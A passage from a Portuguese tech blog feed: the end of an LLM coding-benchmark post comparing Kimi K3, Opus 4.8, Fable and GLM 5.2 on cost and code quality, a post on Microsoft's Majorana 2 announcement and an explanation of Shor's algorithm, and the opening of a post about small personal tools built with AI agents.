<p>O <strong>Fable 5</strong> é mais defensivo, mas cobra por isso: original/re-release 94/93, contra 89; $10/$50 por milhão, contra $3/$15; runs medidos de <del>$11.20/</del>$8.30, contra ~$2.10 equivalente de API. Um run por célula não dá certeza estatística. Dá código concreto para comparar.</p>
<h2>Preço: Kimi deixou de ser a pechincha absurda<span class="hx:absolute hx:-mt-20" id="preço-kimi-deixou-de-ser-a-pechincha-absurda"></span>
    <a href="#pre%c3%a7o-kimi-deixou-de-ser-a-pechincha-absurda" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui é importante separar API direta Moonshot, OpenRouter e assinatura. Esta é a tarifa oficial da API direta, por milhão de tokens, com input cacheado separado:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Input cacheado</th>
          <th style="text-align: right">Input</th>
          <th style="text-align: right">Output</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>K2.5</td>
          <td style="text-align: right">$0.10</td>
          <td style="text-align: right">$0.60</td>
          <td style="text-align: right">$3</td>
      </tr>
      <tr>
          <td>K2.6</td>
          <td style="text-align: right">$0.16</td>
          <td style="text-align: right">$0.95</td>
          <td style="text-align: right">$4</td>
      </tr>
      <tr>
          <td>K2.7</td>
          <td style="text-align: right">$0.19</td>
          <td style="text-align: right">$0.95</td>
          <td style="text-align: right">$4</td>
      </tr>
      <tr>
          <td>K3</td>
          <td style="text-align: right">$0.30</td>
          <td style="text-align: right">$3</td>
          <td style="text-align: right">$15</td>
      </tr>
  </tbody>
</table>
<p>Documentação oficial: <a href="https://platform.kimi.ai/docs/pricing/chat-k25"target="_blank" rel="noopener">K2.5</a>, <a href="https://platform.kimi.ai/docs/pricing/chat-k26"target="_blank" rel="noopener">K2.6</a>, <a href="https://platform.kimi.ai/docs/pricing/chat-k27-code"target="_blank" rel="noopener">K2.7 Code</a> e <a href="https://platform.kimi.ai/docs/pricing/chat-k3"target="_blank" rel="noopener">K3</a>. Para o preço e disponibilidade via intermediário, veja também a <a href="https://openrouter.ai/moonshotai/kimi-k3"target="_blank" rel="noopener">página do K3 no OpenRouter</a>.</p>
<p>K3 custa <strong>3,16× mais no input</strong> e <strong>3,75× mais no output</strong> que K2.6/2.7. Moonshot saiu do nicho ultra-barato. Os custos da tabela de ranking são outra coisa: K2.6 ~$1.19 e K2.7 ~$1.23 foram recalculados com o provedor/OpenRouter e tokens do run; K3 é estimativa equivalente de API de ~$2.10 para uma rodada cobrada na assinatura. Misturar os dois sem identificar o canal cria comparação falsa.</p>
<p>Mesmo assim, K3 custa 40% menos que Opus 4.8 nas tarifas oficiais ($5/$25) e 70% menos que Fable ($10/$50). No plano <strong>Kimi Moderato de $19</strong>, isso é excelente para coding interativo solo. Só não automatize alegremente: observamos cerca de duas rodadas pesadas por janela de cinco horas e recuperação de quota em 4h16. Para batch sem supervisão, um 403 no meio joga fora trabalho e tempo.</p>
<h3>Moderato é pequeno demais para trabalho sério<span class="hx:absolute hx:-mt-20" id="moderato-é-pequeno-demais-para-trabalho-sério"></span>
    <a href="#moderato-%c3%a9-pequeno-demais-para-trabalho-s%c3%a9rio" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Essa é a parte que o preço mensal esconde. Eu usei o Moderato de $19/mês. A quota é organizada em janelas móveis de cinco horas: use muito agora, espere a janela deslizar para recuperar capacidade. Uma rodada do benchmark não é um prompt solto. São exatamente dois prompts/fases: construir o app e depois retomar a mesma sessão para validar e corrigir.</p>
<p>O K3 completou essa rodada inteira em 26 minutos e 4,83 milhões de tokens, quase todos cache-read, cerca de $2.10 equivalentes de API. O K2.7 Coding completou os mesmos dois prompts em 16 minutos e 9,25 milhões de tokens. No histórico do benchmark, couberam aproximadamente duas rodadas completas dessa escala antes de uma terceira receber hard 403 no meio. A construção parcial foi perdida. A recuperação levou 4h16, com sete probes bloqueados em intervalos de 20 minutos.</p>
<p>Transparência necessária: o transcript bruto de 403/probes não foi commitado. Essa cronologia é uma observação registrada do benchmark, não algo que outra pessoa consiga auditar independentemente pelos logs crus. A documentação diz que tarefas já em execução normalmente terminam; a nossa terceira não terminou. É uma discrepância empírica que vi no uso, não uma acusação de que a documentação esteja mentindo.</p>
<p>Os planos oficiais estão na <a href="https://www.kimi.com/help/membership/membership-pricing"target="_blank" rel="noopener">página de membership</a>:</p>
<table>
  <thead>
      <tr>
          <th>Plano</th>
          <th style="text-align: right">Mensal / equivalente anual</th>
          <th style="text-align: right">Créditos</th>
          <th style="text-align: right">Tarefas concorrentes</th>
          <th>Veredito</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Adagio</td>
          <td style="text-align: right">grátis</td>
          <td style="text-align: right">—</td>
          <td style="text-align: right">—</td>
          <td>Para experimentar, não para sessão pesada</td>
      </tr>
      <tr>
          <td>Moderato</td>
          <td style="text-align: right">$19 / $15 ($180/ano)</td>
          <td style="text-align: right">1x</td>
          <td style="text-align: right">2</td>
          <td>Uma ou, no máximo, umas duas sessões pesadas por janela; pequeno demais para rotina séria</td>
      </tr>
      <tr>
          <td>Allegretto</td>
          <td style="text-align: right">$39 / $31</td>
          <td style="text-align: right">5x</td>
          <td style="text-align: right">2</td>
          <td>Mínimo sensato para uso interativo diário mais leve</td>
      </tr>
      <tr>
          <td>Allegro</td>
          <td style="text-align: right">$99 / $79</td>
          <td style="text-align: right">15x</td>
          <td style="text-align: right">4</td>
          <td>Primeiro plano que recomendo para uso profissional sustentado, ao menos 5h/dia</td>
      </tr>
      <tr>
          <td>Vivace</td>
          <td style="text-align: right">$199 / $159</td>
          <td style="text-align: right">30x</td>
          <td style="text-align: right">4</td>
          <td>Agentes paralelos ou uso pesado quase contínuo; provavelmente excesso para uma pessoa</td>
      </tr>
  </tbody>
</table>
<p>K3 no Moderato fica limitado a 256K de contexto. Allegretto para cima libera até 1M. Allegretto+ também libera HighSpeed, mas esse modo queima aproximadamente 3x a quota. Os 5x/15x/30x são créditos relativos, não promessa de que você terá 5/15/30 vezes mais runs lineares. A documentação divulga refresh semanal, janela móvel de cinco horas e quota compartilhada entre CLI, VS Code e ferramentas com API key, mas não publica a fórmula exata para sessão pesada ou token. Cache, output e o comportamento do agente mudam muito a conta.</p>
<p>Moderato serve para uma, talvez duas sessões pesadas em cinco horas. Para cinco horas de coding por dia, é pequeno demais: numa sequência de runs deste benchmark minúsculo, com só dois prompts por modelo, a terceira tentativa já bateu cooldown. Cooldown é justamente a espera pela janela de quota voltar a abrir. Allegretto é o upgrade mínimo para interação diária leve e ganha 1M de contexto, mas 5x pode deixar pouca folga para quem dirige o agente continuamente ou liga HighSpeed. Para uso profissional sustentado, no mínimo cinco horas por dia, eu iria de <strong>Allegro</strong>: 15x créditos e quatro tarefas concorrentes. Ainda assim, não há garantia oficial de execução ininterrupta. Vivace é para vários agentes ou carga quase contínua; para um desenvolvedor, em geral é exagero.</p>
<p>A outra decisão é assinatura ou API direta. A API do K3 cobra $0.30/M de input cacheado, $3/M de input sem cache e $15/M de output. Ela dá contabilidade explícita, contexto completo de 1M e não tem a quota semanal da membership, embora limites normais de API continuem existindo. É o caminho melhor para CI, batch e runs longos que valem dinheiro.</p>
<p>A assinatura compra outra coisa: custo mensal fixo, OAuth/CLI conveniente, custo marginal quase zero dentro dos caps e fatura previsível. Em troca, você aceita envelope de tokens oculto, caps móveis/semanais, franquia compartilhada, risco de parar no meio e nenhuma SLA para automação desacompanhada. Os ~$2.10 do K3 são só equivalente grosseiro de API. Nesse formato de run, a mensalidade do Moderato equivale aritmeticamente a cerca de 9 runs, Allegretto a 19, Allegro a 47 e Vivace a 95 por mês. Isto é conta de fatura, não garantia de quota: workloads reais variam brutalmente com cache e output.</p>
<p>Existe <a href="https://www.kimi.com/code/docs/en/kimi-code/membership.html"target="_blank" rel="noopener">Extra Usage</a>: ele pode cair em saldo pago, respeitando um spending cap. Útil para evitar que a quota acabe abruptamente. A tarifa exata em USD não é publicada, e isso não transforma membership de consumidor em SLA de automação.</p>
<p>Minha recomendação sem enfeite: para 5h/dia, Allegro. Para interação mais leve, Allegretto. Para automação e CI, API pay-as-you-go. Se ficar na assinatura e o trabalho não puder parar, ative Extra Usage com teto de gasto.</p>
<p>Separando plano de modelo: K2.6 ainda é a melhor opção de API crua para automação de alto volume com revisão humana. K3 é uma opção muito boa para quem programa interativamente. Opus 4.8 continua minha escolha para refactor complexo, concorrência, segurança e mudança autônoma em que correção importa mais que a fatura. Fable, nesse recorte, é economicamente dominado.</p>
<h2>Bônus: GLM 5.2 contra Opus<span class="hx:absolute hx:-mt-20" id="bônus-glm-52-contra-opus"></span>
    <a href="#b%c3%b4nus-glm-52-contra-opus" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>GLM 5.2 está em <strong>#9, 87/A, 43 minutos</strong>, via assinatura Z.ai. O confronto natural é Opus 4.6, o vizinho de score em 83/A e 16 minutos, e Opus 4.8, o teto de qualidade em 95/A e 17 minutos.</p>
<p>Fui ler os dois projetos. O GLM supera o artefato do Opus 4.6: usa RubyLLM corretamente, aplica system prompt, separa serviço, aceita DI e testa falhas. O <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/2bf1d7b3e3bbc7e6ff9a18a07390333c86bda615/results/glm_5_2/project/app/services/chat_service.rb#L28-L55"target="_blank" rel="noopener">serviço</a> inclusive exclui a última mensagem do replay antes de chamar <code>ask</code>, o detalhe que evita double-send.</p>
<p>Só que GLM também deixa esqueletos no armário: singleton process-local sem cap; turno que falhou fica retido; <code>config.hosts.clear</code>; secret gerado que invalida sessões; e <code>npm ci || npm install</code>, que transforma lockfile em sugestão. Continua claramente atrás do Opus 4.8 em estado, desenho, testes e hardening de configuração.</p>
<p>Os planos Z.ai são Lite $18, Pro $72 e Max $160, com promoção até setembro de 2026: $12.60/$50.40/$112. Contra Opus 4.8 a ~$6.40 por run, o break-even nominal é aproximadamente <strong>3/12/25</strong> runs por mês, ou <strong>2/8/18</strong> no preço promocional. Mas GLM leva 43 minutos onde Opus 4.8 levou 17. Se você já paga Z.ai, GLM 5.2 é um default forte para trabalho rotineiro revisado. Se correção e turnaround mandam, Opus 4.8.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Neste projeto Rails feito do zero, K3 substitui bem o Opus 4.6 e oferece uma alternativa mais barata ao Opus 4.8. O Claude ainda leva vantagem quando o projeto cobra defesa contra os detalhes que ninguém põe no prompt.</p>
<p>Há uma rodada por modelo e há efeito de harness, especialmente no K3. O benchmark também não cobre migrations de banco, jobs em background nem tool calls de produto. Não há dado aqui para fazer promessa sobre isso.</p>
<p>Meu mapa hoje: K2.6 para automação API de volume revisada; K3/Allegretto para trabalho solo interativo leve e Allegro para rotina sustentada; Opus 4.8 quando o patch é sensível; GLM 5.2 como bom default de assinatura para rotina revisada. Sem hype. Leia o código, rode os testes, e trate qualquer ranking como evidência limitada, não como religião.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>llms</category><category>agentes-de-codigo</category></item><item><title>Notícias Quânticas: Majorana 2 e entendendo Shor</title><link>https://www.akitaonrails.com/2026/07/12/noticias-quanticas-majorana-2-e-entendendo-shor/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/12/noticias-quanticas-majorana-2-e-entendendo-shor/</guid><pubDate>Sun, 12 Jul 2026 12:00:00 GMT</pubDate><description>&lt;p&gt;Computação quântica voltou ao noticiário e, como sempre, com mais hype do que substância. Antes de entrar no assunto: se você nunca estudou o básico, eu já fiz um vídeo inteiro no canal explicando os fundamentos, o &lt;a href="https://www.akitaonrails.com/2019/11/06/akitando-66-entendendo-supremacia-quantica/"&gt;Akitando #66 sobre supremacia quântica&lt;/a&gt;, e falei mais um pouco neste podcast:&lt;/p&gt;
&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/_Hl9wiLkns4"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;Este post tem duas partes. Primeiro, a notícia: o anúncio do Majorana 2 da Microsoft e por que os físicos da área continuam com um pé (os dois, na verdade) atrás. Depois, a parte educativa: uma explicação decente do algoritmo de Shor, porque muita gente repete &amp;ldquo;computador quântico quebra RSA&amp;rdquo; sem a menor ideia do mecanismo, e o mecanismo é bonito demais pra ficar de fora.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Computação quântica voltou ao noticiário e, como sempre, com mais hype do que substância. Antes de entrar no assunto: se você nunca estudou o básico, eu já fiz um vídeo inteiro no canal explicando os fundamentos, o <a href="/2019/11/06/akitando-66-entendendo-supremacia-quantica/">Akitando #66 sobre supremacia quântica</a>, e falei mais um pouco neste podcast:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/_Hl9wiLkns4"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Este post tem duas partes. Primeiro, a notícia: o anúncio do Majorana 2 da Microsoft e por que os físicos da área continuam com um pé (os dois, na verdade) atrás. Depois, a parte educativa: uma explicação decente do algoritmo de Shor, porque muita gente repete &ldquo;computador quântico quebra RSA&rdquo; sem a menor ideia do mecanismo, e o mecanismo é bonito demais pra ficar de fora.</p>
<h2>Majorana 2: o anúncio<span class="hx:absolute hx:-mt-20" id="majorana-2-o-anúncio"></span>
    <a href="#majorana-2-o-an%c3%bancio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No dia 2 de junho de 2026, na conferência Build em San Francisco, a Microsoft revelou o <strong>Majorana 2</strong>, a segunda geração do seu chip quântico topológico. As manchetes: estabilidade de qubit 1.000 vezes melhor que a do Majorana 1 (anunciado uns 15 meses antes), e o cronograma pra um computador quântico escalável encurtado de 2033 pra 2029.</p>
<p>O número central do paper técnico: tempos de vida de paridade Z acima de <strong>20 segundos</strong> (mais precisamente 22 ± 1 segundos) num dispositivo de InAs com chumbo, contra 1 a 12 <strong>milissegundos</strong> nos dispositivos de alumínio do Majorana 1. Três ordens de magnitude de melhoria. A mudança de hardware principal foi trocar o supercondutor de alumínio por chumbo, cujo gap supercondutor é cerca de quatro vezes maior, o que dobrou o gap topológico reportado e derrubou drasticamente a taxa de erros de paridade.</p>
<p>Esses números de engenharia de materiais são reais e mensuráveis, e até os críticos reconhecem o avanço nessa frente. O problema está no que o paper NÃO mostra.</p>
<h2>O histórico que o anúncio prefere não lembrar<span class="hx:absolute hx:-mt-20" id="o-histórico-que-o-anúncio-prefere-não-lembrar"></span>
    <a href="#o-hist%c3%b3rico-que-o-an%c3%bancio-prefere-n%c3%a3o-lembrar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O programa quântico topológico da Microsoft carrega quase duas décadas de história, e uma parte dela é constrangedora. Em 2018, um time financiado pela Microsoft na TU Delft publicou na Nature evidências de condutância Majorana quantizada. Em 2021 o paper foi retratado, depois que os físicos Sergey Frolov e Vincent Mourik demonstraram que os dados tinham sido apresentados seletivamente. O comitê de integridade científica da TU Delft concluiu que os dados foram &ldquo;desnecessariamente corrigidos&rdquo;. Um segundo paper do mesmo grupo foi retratado em 2022.</p>
<p>Quando o Majorana 1 foi anunciado em fevereiro de 2025 como &ldquo;o primeiro qubit topológico do mundo&rdquo;, o paper na Nature que o acompanhava dizia menos do que o press release: os próprios revisores da Nature escreveram que as medições publicadas <strong>não representavam evidência da presença de Majorana zero modes</strong> nos dispositivos. Quando a Microsoft apresentou dados adicionais no encontro da APS em março de 2025, o Frolov (Universidade de Pittsburgh) chamou publicamente os dados de &ldquo;só ruído&rdquo;, e o físico Henry Legg (St Andrews) levantou objeções parecidas, incluindo críticas ao próprio Topological Gap Protocol, o método que a Microsoft usa pra identificar a fase topológica.</p>
<p>E o Majorana 2 respondeu essas críticas? Em poucas horas os mesmos físicos responderam que não. O Legg, à Science News: &ldquo;Nada nesse preprint resolve as questões fundamentais. Nada nos dados apresentados prova a existência de um qubit topológico ou de Majoranas nesses dispositivos.&rdquo; O Frolov, à Scientific American, foi mais ácido: &ldquo;Quando a Microsoft é mencionada hoje em dia, físicos e especialistas em computação quântica só dão risada ou levantam a sobrancelha.&rdquo;</p>
<p>A <a href="https://postquantum.com/industry-news/microsoft-majorana-2-analysis/"target="_blank" rel="noopener">análise detalhada do Marin Ivezic no PostQuantum</a>, que recomendo ler inteira, lista o que falta com precisão:</p>
<ul>
<li><strong>Sem medições X.</strong> Um qubit funcional exige dois tipos complementares de medição: Z (paridade de um fio) e X (paridade conjunta dos dois fios do tetron). O paper do Majorana 2 só apresenta Z. E a medição X era exatamente o ponto de contenção do Majorana 1. Sem ela, o que foi demonstrado é um estado de paridade de vida longa num fio supercondutor. Um qubit, ainda não.</li>
<li><strong>Sem demonstração de que os estados são topológicos.</strong> As medições são consistentes com Majorana zero modes, mas também são potencialmente consistentes com estados de Andreev triviais que imitam as mesmas assinaturas. O próprio paper admite a ambiguidade.</li>
<li><strong>Sem portas lógicas, sem entrelaçamento, sem algoritmos.</strong> É um experimento de caracterização, sem computação nenhuma. O Chetan Nayak, que lidera o programa, diz ter dados não publicados de controle de qubits. Enquanto não publicar, é afirmação, sem evidência.</li>
<li><strong>Sem peer review.</strong> O paper saiu no site da Microsoft e no arXiv. Dado o histórico de retratações do programa, a ausência de revisão por pares no lançamento merece escrutínio extra.</li>
<li><strong>Sem reprodutibilidade demonstrada.</strong> Os 22 segundos vêm de um único fio de um único tetron de um único chip. Nada de ensemble de dispositivos idênticos ou chips fabricados independentemente.</li>
</ul>
<p>Meu resumo da ópera: a engenharia de materiais avançou de verdade, e isso conta. Mas a pergunta que vale trilhões (&ldquo;isso é um qubit topológico?&rdquo;) continua exatamente tão aberta quanto antes do anúncio. E encurtar o cronograma público de 2033 pra 2029 em cima de um resultado que não demonstra nem um qubit é decisão de marketing, com o rigor científico ficando pro futuro.</p>
<h2>Shor: por que fatorar números vira caçar período<span class="hx:absolute hx:-mt-20" id="shor-por-que-fatorar-números-vira-caçar-período"></span>
    <a href="#shor-por-que-fatorar-n%c3%bameros-vira-ca%c3%a7ar-per%c3%adodo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora a parte divertida. Todo mundo repete que computador quântico quebra o RSA. O algoritmo responsável é o de <strong>Peter Shor, de 1994</strong>, e o truque central dele é uma das ideias mais elegantes da computação. Esse vídeo do Computerphile explica muito bem, e recomendo assistir antes de continuar:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/k_kyepATqB8"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>A segurança do RSA depende de um fato simples: multiplicar dois primos gigantes é fácil, mas pegar o resultado N e descobrir quais eram os primos é brutalmente difícil. O melhor algoritmo clássico conhecido leva tempo sub-exponencial, o que na prática significa que com chaves grandes o Sol apaga antes de você terminar.</p>
<p>A sacada do Shor foi provar que fatorar N é redutível a outro problema: <strong>encontrar o período de uma função</strong>. Você escolhe um número <code>a</code> coprimo com N e olha pra função:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>f(x) = a^x mod N</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Essa função é periódica: existe um <code>r</code> tal que os valores se repetem a cada <code>r</code> passos. Encontrando esse período <code>r</code>, um pouco de teoria dos números clássica (que qualquer computador comum resolve em instantes) te entrega os fatores primos de N. O problema é que, classicamente, achar o período pra um N gigante é tão difícil quanto o problema original.</p>
<p>É aqui que entra o computador quântico, em quatro movimentos:</p>
<ol>
<li>Prepara uma <strong>superposição</strong> de muitos valores de <code>x</code> ao mesmo tempo.</li>
<li>Avalia <code>f(x)</code> em superposição (o tal paralelismo quântico: uma avaliação sobre todos os <code>x</code> de uma vez).</li>
<li>O estado resultante agora <strong>codifica a periodicidade</strong> da função.</li>
<li>Aplica a <strong>Transformada de Fourier Quântica (QFT)</strong>, que usa interferência construtiva e destrutiva pra amplificar exatamente as componentes de frequência do período, e mede.</li>
</ol>
<p>O detalhe que quase todo mundo erra: você não &ldquo;lê todas as respostas de uma vez&rdquo; (medição colapsa a superposição e te dá UM valor). A genialidade está em usar interferência pra fazer as respostas erradas se cancelarem e a informação global que você quer (o período) sobreviver na distribuição de probabilidade. A QFT transforma uma propriedade global da função, que nenhuma medição individual revela, numa feature local e mensurável. É por isso que fatoração cai de tempo sub-exponencial pra tempo polinomial num computador quântico. E é por isso que a criptografia pós-quântica existe como área.</p>
<h2>Então computador quântico é bom com &ldquo;funções periódicas&rdquo;?<span class="hx:absolute hx:-mt-20" id="então-computador-quântico-é-bom-com-funções-periódicas"></span>
    <a href="#ent%c3%a3o-computador-qu%c3%a2ntico-%c3%a9-bom-com-fun%c3%a7%c3%b5es-peri%c3%b3dicas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa é a conclusão apressada que eu quero desfazer. Periodicidade e análise estilo Fourier são de fato um ponto forte, e não só no Shor: a estimação de fase quântica (QPE), os problemas de subgrupo escondido e boa parte das simulações de sistemas físicos vivem nesse território. Mas a formulação correta é outra: computador quântico brilha quando o problema tem <strong>estrutura matemática explorável</strong>, algo que dê pra mapear em superposição, entrelaçamento e interferência.</p>
<p>Tem vantagens quânticas que nada têm a ver com período. O algoritmo de <strong>Grover</strong> faz busca não estruturada com ganho quadrático (√N em vez de N). A <strong>simulação de sistemas quânticos</strong> (moléculas, materiais) é provavelmente a aplicação mais promissora de todas, porque ali o espaço de Hilbert do problema é naturalmente o espaço da máquina. Tem o <strong>HHL</strong> pra sistemas lineares, técnicas de otimização, alguns métodos de machine learning. O fio condutor é sempre o mesmo: existe estrutura (simetria, grupo, geometria) que a interferência quântica explora melhor que qualquer método clássico conhecido.</p>
<p>E a pergunta inversa: dá pra decompor qualquer algoritmo clássico em funções periódicas e ganhar speedup quântico? Não. Computador quântico consegue simular qualquer algoritmo clássico (na notação da área, BQP contém P), então tecnicamente tudo roda lá. Mas rodar não é acelerar: sem estrutura explorável, você paga todo o overhead quântico (correção de erro, coerência de qubits, temperaturas criogênicas) pra chegar no mesmo resultado, provavelmente mais devagar.</p>
<p>Ordenação, aritmética, a maioria dos problemas de grafos, o grosso do que um computador faz no dia-a-dia: nada disso tem speedup quântico superpolinomial conhecido. Pra essas tarefas, o computador clássico é mais rápido, mais barato e mais confiável, e vai continuar sendo.</p>
<blockquote>
  <p>Computador quântico é acelerador de problemas com estrutura específica. Uma máquina universal melhor, ele não é.</p>

</blockquote>
<h2>Conclusão: guarde o hype no armário<span class="hx:absolute hx:-mt-20" id="conclusão-guarde-o-hype-no-armário"></span>
    <a href="#conclus%c3%a3o-guarde-o-hype-no-arm%c3%a1rio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Junta as duas metades do post e o quadro fica claro. De um lado, o algoritmo de Shor é real, é lindo, e é a razão de existir toda a corrida da criptografia pós-quântica. Do outro, o hardware necessário pra rodar Shor contra uma chave RSA de verdade exige milhões de qubits físicos com correção de erros, e o estado da arte anunciado com fanfarra em 2026 é&hellip; um estado de paridade de 22 segundos num único fio, que os especialistas nem concordam que seja um qubit.</p>
<p>Na prática, no curto prazo, computação quântica segue sendo uma solução muito nichada, muito limitada e muito impraticável. As aplicações reais que surgirem primeiro vão ser em simulação de química e materiais, dentro de laboratórios e datacenters de pesquisa, não na sua vida. Não espere usar um computador quântico você mesmo tão cedo. Acompanhe as notícias como eu acompanho: com curiosidade genuína pela física, e com a sobrancelha levantada pros press releases.</p>
]]></content:encoded><category>computacao-quantica</category><category>ciencia</category></item><item><title>Usando IA pra resolver meus probleminhas do dia-a-dia</title><link>https://www.akitaonrails.com/2026/07/12/usando-ia-pra-resolver-meus-probleminhas-do-dia-a-dia/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/12/usando-ia-pra-resolver-meus-probleminhas-do-dia-a-dia/</guid><pubDate>Sun, 12 Jul 2026 11:00:00 GMT</pubDate><description>&lt;p&gt;Eu não ia escrever artigo pra cada projetinho open source que eu faço. A maioria resolve um probleminha muito específico do MEU dia-a-dia, e artigo dedicado ficaria desproporcional. Só que os projetinhos foram acumulando, e olhando pra trás percebi que já são vários que nunca apareceram por aqui. Então resolvi fazer diferente: um artigo só, mencionando a maioria de uma vez.&lt;/p&gt;
&lt;p&gt;O padrão se repete em todos: eu esbarro numa pequena fricção do cotidiano, daquelas que a gente normalmente engole porque consertar custaria um fim de semana inteiro, e em vez de engolir eu abro um agente de IA e resolvo. O custo de transformar irritação em ferramenta despencou tanto que o cálculo inverteu. Hoje vale a pena consertar quase tudo.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu não ia escrever artigo pra cada projetinho open source que eu faço. A maioria resolve um probleminha muito específico do MEU dia-a-dia, e artigo dedicado ficaria desproporcional. Só que os projetinhos foram acumulando, e olhando pra trás percebi que já são vários que nunca apareceram por aqui. Então resolvi fazer diferente: um artigo só, mencionando a maioria de uma vez.</p>
<p>O padrão se repete em todos: eu esbarro numa pequena fricção do cotidiano, daquelas que a gente normalmente engole porque consertar custaria um fim de semana inteiro, e em vez de engolir eu abro um agente de IA e resolvo. O custo de transformar irritação em ferramenta despencou tanto que o cálculo inverteu. Hoje vale a pena consertar quase tudo.</p>
<p>Tudo que aparece abaixo está no <a href="https://github.com/akitaonrails"target="_blank" rel="noopener">meu GitHub</a>, com binários, releases e instruções de instalação.</p>
<p>Nesse post: <a href="#clock-tui-um-rel%c3%b3gio-de-mesa-que-virou-painel">clock-tui</a> (com os widgets <a href="#clock-tui-um-rel%c3%b3gio-de-mesa-que-virou-painel">google-calendar-tui</a> e <a href="#clock-tui-um-rel%c3%b3gio-de-mesa-que-virou-painel">ghpending</a>), <a href="#github-visualize-in%c3%batil-mas-bonito">github-visualize</a>, <a href="#frank-geary-email-do-jeito-que-eu-queria">frank_geary</a>, <a href="#mang%c3%a1-em-japon%c3%aas-frankyomik-frank-manga-e-frank-scanlation">frank_scanlation</a>, <a href="#frank-lyrics-decorando-m%c3%basica-linha-por-linha">frank_lyrics</a>, <a href="#frank-type-treino-de-digita%c3%a7%c3%a3o-com-prosa-de-verdade">frank_type</a>, <a href="#distrobox-gaming-uma-biblioteca-de-como-instalar-jogos-no-linux">distrobox-gaming</a> e <a href="#aitrepreneur-docker-comfyui-sem-sujar-o-sistema">aitrepreneur-docker</a>.</p>
<h2>clock-tui: um relógio de mesa que virou painel<span class="hx:absolute hx:-mt-20" id="clock-tui-um-relógio-de-mesa-que-virou-painel"></span>
    <a href="#clock-tui-um-rel%c3%b3gio-de-mesa-que-virou-painel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O caso de uso é simples: eu tenho um monitor secundário vertical, e queria algo mais útil ali do que um wallpaper, alguma coisa que eu pudesse só bater o olho e ter informação relevante. Mas tudo começou porque eu só queria um relógio de mesa. Achei um programinha open source antigo de relógio em terminal, o clock-tui original, que estava parado havia tempos, e decidi fazer um fork e continuar o trabalho: o <a href="https://github.com/akitaonrails/clock-tui"target="_blank" rel="noopener">clock-tui</a>.</p>
<p>Deixei ele mais bonito, modernizei as dependências de Rust, e a mudança mais importante: adicionei suporte a <strong>widgets de comando</strong>. O relógio fica no topo e embaixo entram painéis que rodam qualquer comando que imprima texto, cada um com refresh independente. Dois widgets que eu mesmo criei pra ele:</p>
<ul>
<li><a href="https://github.com/akitaonrails/google-calendar-tui"target="_blank" rel="noopener">google-calendar-tui</a>: uma agenda read-only do Google Calendar no terminal, usando as contas que já estão no GNOME Online Accounts (zero configuração de OAuth). Bato o olho e sei meus compromissos do dia.</li>
<li><a href="https://github.com/akitaonrails/ghpending"target="_blank" rel="noopener">ghpending</a>: lista issues e pull requests abertos em todos os repositórios que eu acompanho. Agora que eu tenho dezenas de projetos open source, é assim que eu percebo em segundos quando chega PR ou issue nova, sem abrir o GitHub.</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/ghpending.webp" alt="Widget do ghpending mostrando pull requests e issues abertos em vários repositórios de uma vez."  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/12/probleminhas/google-calendar-tui.webp" alt="Agenda colorida do google-calendar-tui impressa direto no terminal."  loading="lazy" /></p>
